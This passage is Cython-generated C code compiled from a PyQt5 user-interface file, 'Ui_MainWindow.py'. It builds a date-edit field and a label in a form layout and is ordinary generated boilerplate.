(unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_9, __pyx_t_2}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } else #endif { __pyx_t_1 = PyTuple_New(1+1); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_1, 0, __pyx_t_9); __pyx_t_9 = NULL; __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_1, 0+1, __pyx_t_2); __pyx_t_2 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_1, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; if (__Pyx_PyObject_SetAttrStr(__pyx_v_self, __pyx_n_s_R_date, __pyx_t_3) < 0) __PYX_ERR(0, 209, __pyx_L1_error) __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":210 * self.formLayout.setWidget(12, QtWidgets.QFormLayout.LabelRole, self.label_12) * self.R_date = QtWidgets.QDateEdit(self.formLayoutWidget) * self.R_date.setInputMethodHints(QtCore.Qt.ImhDate|QtCore.Qt.ImhPreferNumbers) # <<<<<<<<<<<<<< * self.R_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.R_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_date); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setInputMethodHints); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_Qt); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_ImhDate); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_9 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_Qt); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_ImhPreferNumbers); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = PyNumber_Or(__pyx_t_4, __pyx_t_2); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_1))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_1); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_1); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_1, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_1, __pyx_t_9); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_1)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_9}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_1, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; } else #endif { __pyx_t_4 = PyTuple_New(1+1); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_4, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_4, 0+1, __pyx_t_9); __pyx_t_9 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_t_4, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 210, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } } __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":211 * self.R_date = QtWidgets.QDateEdit(self.formLayoutWidget) * self.R_date.setInputMethodHints(QtCore.Qt.ImhDate|QtCore.Qt.ImhPreferNumbers) * self.R_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) # <<<<<<<<<<<<<< * self.R_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.R_date.setCalendarPopup(True) */ __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_date); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_1, __pyx_n_s_setMaximumDateTime); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QDateTime); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_9, __pyx_n_s_QDate); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __pyx_t_9 = __Pyx_PyObject_Call(__pyx_t_6, __pyx_tuple__123, NULL); if (unlikely(!__pyx_t_9)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_9); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __pyx_t_5 = __Pyx_PyObject_GetAttrStr(__pyx_t_6, __pyx_n_s_QTime); if (unlikely(!__pyx_t_5)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_5); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; __pyx_t_6 = __Pyx_PyObject_Call(__pyx_t_5, __pyx_tuple__124, NULL); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_5); __pyx_t_5 = 0; __pyx_t_5 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_2))) { __pyx_t_5 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_5)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_5); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_9, __pyx_t_6}; __pyx_t_1 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[3] = {__pyx_t_5, __pyx_t_9, __pyx_t_6}; __pyx_t_1 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 2+__pyx_t_8); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_5); __pyx_t_5 = 0; __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_9); __pyx_t_9 = 0; __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } else #endif { __pyx_t_7 = PyTuple_New(2+__pyx_t_8); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); if (__pyx_t_5) { __Pyx_GIVEREF(__pyx_t_5); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_5); __pyx_t_5 = NULL; } __Pyx_GIVEREF(__pyx_t_9); PyTuple_SET_ITEM(__pyx_t_7, 0+__pyx_t_8, __pyx_t_9); __Pyx_GIVEREF(__pyx_t_6); PyTuple_SET_ITEM(__pyx_t_7, 1+__pyx_t_8, __pyx_t_6); __pyx_t_9 = 0; __pyx_t_6 = 0; __pyx_t_1 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_7, NULL); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_4))) { __pyx_t_2 = PyMethod_GET_SELF(__pyx_t_4); if (likely(__pyx_t_2)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_4); __Pyx_INCREF(__pyx_t_2); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_4, function); } } if (!__pyx_t_2) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_4, __pyx_t_1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_4)) { PyObject *__pyx_temp[2] = {__pyx_t_2, __pyx_t_1}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_4, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; } else #endif { __pyx_t_7 = PyTuple_New(1+1); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_GIVEREF(__pyx_t_2); PyTuple_SET_ITEM(__pyx_t_7, 0, __pyx_t_2); __pyx_t_2 = NULL; __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_7, 0+1, __pyx_t_1); __pyx_t_1 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_4, __pyx_t_7, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 211, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; } } __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":212 * self.R_date.setInputMethodHints(QtCore.Qt.ImhDate|QtCore.Qt.ImhPreferNumbers) * self.R_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.R_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) # <<<<<<<<<<<<<< * self.R_date.setCalendarPopup(True) * self.R_date.setObjectName("R_date") */ __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_date); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_setMaximumDate); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtCore); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_QDate); if (unlikely(!__pyx_t_1)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_1); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_Call(__pyx_t_1, __pyx_tuple__125, NULL); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_1); __pyx_t_1 = 0; __pyx_t_1 = NULL; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_7))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_7); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_7); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_7, function); } } if (!__pyx_t_1) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_7, __pyx_t_4); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_7)) { PyObject *__pyx_temp[2] = {__pyx_t_1, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_7, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_2 = PyTuple_New(1+1); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_2, 0, __pyx_t_1); __pyx_t_1 = NULL; __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_2, 0+1, __pyx_t_4); __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_t_2, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 212, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; } } __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":213 * self.R_date.setMaximumDateTime(QtCore.QDateTime(QtCore.QDate(7918, 1, 1), QtCore.QTime(23, 59, 59))) * self.R_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.R_date.setCalendarPopup(True) # <<<<<<<<<<<<<< * self.R_date.setObjectName("R_date") * self.formLayout.setWidget(12, QtWidgets.QFormLayout.FieldRole, self.R_date) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_date); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setCalendarPopup); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__126, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 213, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":214 * self.R_date.setMaximumDate(QtCore.QDate(7918, 1, 1)) * self.R_date.setCalendarPopup(True) * self.R_date.setObjectName("R_date") # <<<<<<<<<<<<<< * self.formLayout.setWidget(12, QtWidgets.QFormLayout.FieldRole, self.R_date) * self.label_15 = QtWidgets.QLabel(self.formLayoutWidget) */ __pyx_t_3 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_date); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_3, __pyx_n_s_setObjectName); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_7, __pyx_tuple__127, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 214, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":215 * self.R_date.setCalendarPopup(True) * self.R_date.setObjectName("R_date") * self.formLayout.setWidget(12, QtWidgets.QFormLayout.FieldRole, self.R_date) # <<<<<<<<<<<<<< * self.label_15 = QtWidgets.QLabel(self.formLayoutWidget) * self.label_15.setObjectName("label_15") */ __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayout); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_setWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_t_7, __pyx_n_s_QFormLayout); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __pyx_t_7 = __Pyx_PyObject_GetAttrStr(__pyx_t_4, __pyx_n_s_FieldRole); if (unlikely(!__pyx_t_7)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_7); __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; __pyx_t_4 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_R_date); if (unlikely(!__pyx_t_4)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_4); __pyx_t_1 = NULL; __pyx_t_8 = 0; if (CYTHON_UNPACK_METHODS && likely(PyMethod_Check(__pyx_t_2))) { __pyx_t_1 = PyMethod_GET_SELF(__pyx_t_2); if (likely(__pyx_t_1)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_2); __Pyx_INCREF(__pyx_t_1); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_2, function); __pyx_t_8 = 1; } } #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_12, __pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif #if CYTHON_FAST_PYCCALL if (__Pyx_PyFastCFunction_Check(__pyx_t_2)) { PyObject *__pyx_temp[4] = {__pyx_t_1, __pyx_int_12, __pyx_t_7, __pyx_t_4}; __pyx_t_3 = __Pyx_PyCFunction_FastCall(__pyx_t_2, __pyx_temp+1-__pyx_t_8, 3+__pyx_t_8); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_XDECREF(__pyx_t_1); __pyx_t_1 = 0; __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_7); __pyx_t_7 = 0; __Pyx_DECREF(__pyx_t_4); __pyx_t_4 = 0; } else #endif { __pyx_t_6 = PyTuple_New(3+__pyx_t_8); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); if (__pyx_t_1) { __Pyx_GIVEREF(__pyx_t_1); PyTuple_SET_ITEM(__pyx_t_6, 0, __pyx_t_1); __pyx_t_1 = NULL; } __Pyx_INCREF(__pyx_int_12); __Pyx_GIVEREF(__pyx_int_12); PyTuple_SET_ITEM(__pyx_t_6, 0+__pyx_t_8, __pyx_int_12); __Pyx_GIVEREF(__pyx_t_7); PyTuple_SET_ITEM(__pyx_t_6, 1+__pyx_t_8, __pyx_t_7); __Pyx_GIVEREF(__pyx_t_4); PyTuple_SET_ITEM(__pyx_t_6, 2+__pyx_t_8, __pyx_t_4); __pyx_t_7 = 0; __pyx_t_4 = 0; __pyx_t_3 = __Pyx_PyObject_Call(__pyx_t_2, __pyx_t_6, NULL); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 215, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_3); __Pyx_DECREF(__pyx_t_6); __pyx_t_6 = 0; } __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_DECREF(__pyx_t_3); __pyx_t_3 = 0; /* "Ui_MainWindow.py":216 * self.R_date.setObjectName("R_date") * self.formLayout.setWidget(12, QtWidgets.QFormLayout.FieldRole, self.R_date) * self.label_15 = QtWidgets.QLabel(self.formLayoutWidget) # <<<<<<<<<<<<<< * self.label_15.setObjectName("label_15") * self.formLayout.setWidget(14, QtWidgets.QFormLayout.LabelRole, self.label_15) */ __pyx_t_2 = __Pyx_GetModuleGlobalName(__pyx_n_s_QtWidgets); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_6 = __Pyx_PyObject_GetAttrStr(__pyx_t_2, __pyx_n_s_QLabel); if (unlikely(!__pyx_t_6)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_6); __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __pyx_t_2 = __Pyx_PyObject_GetAttrStr(__pyx_v_self, __pyx_n_s_formLayoutWidget); if (unlikely(!__pyx_t_2)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_GOTREF(__pyx_t_2); __pyx_t_4 = NULL; if (CYTHON_UNPACK_METHODS && unlikely(PyMethod_Check(__pyx_t_6))) { __pyx_t_4 = PyMethod_GET_SELF(__pyx_t_6); if (likely(__pyx_t_4)) { PyObject* function = PyMethod_GET_FUNCTION(__pyx_t_6); __Pyx_INCREF(__pyx_t_4); __Pyx_INCREF(function); __Pyx_DECREF_SET(__pyx_t_6, function); } } if (!__pyx_t_4) { __pyx_t_3 = __Pyx_PyObject_CallOneArg(__pyx_t_6, __pyx_t_2); if (unlikely(!__pyx_t_3)) __PYX_ERR(0, 216, __pyx_L1_error) __Pyx_DECREF(__pyx_t_2); __pyx_t_2 = 0; __Pyx_GOTREF(__pyx_t_3); } else { #if CYTHON_FAST_PYCALL if (PyFunction_Check(__pyx_t_6)) { PyObject *__pyx_temp[2] = {__pyx_t_4, __pyx_t_2}; __pyx_t_3 = __Pyx_PyFunction_FastCall(__pyx_t_6, __pyx_temp+1-1, 1+1); if (unlikely(!__pyx_t_3)) 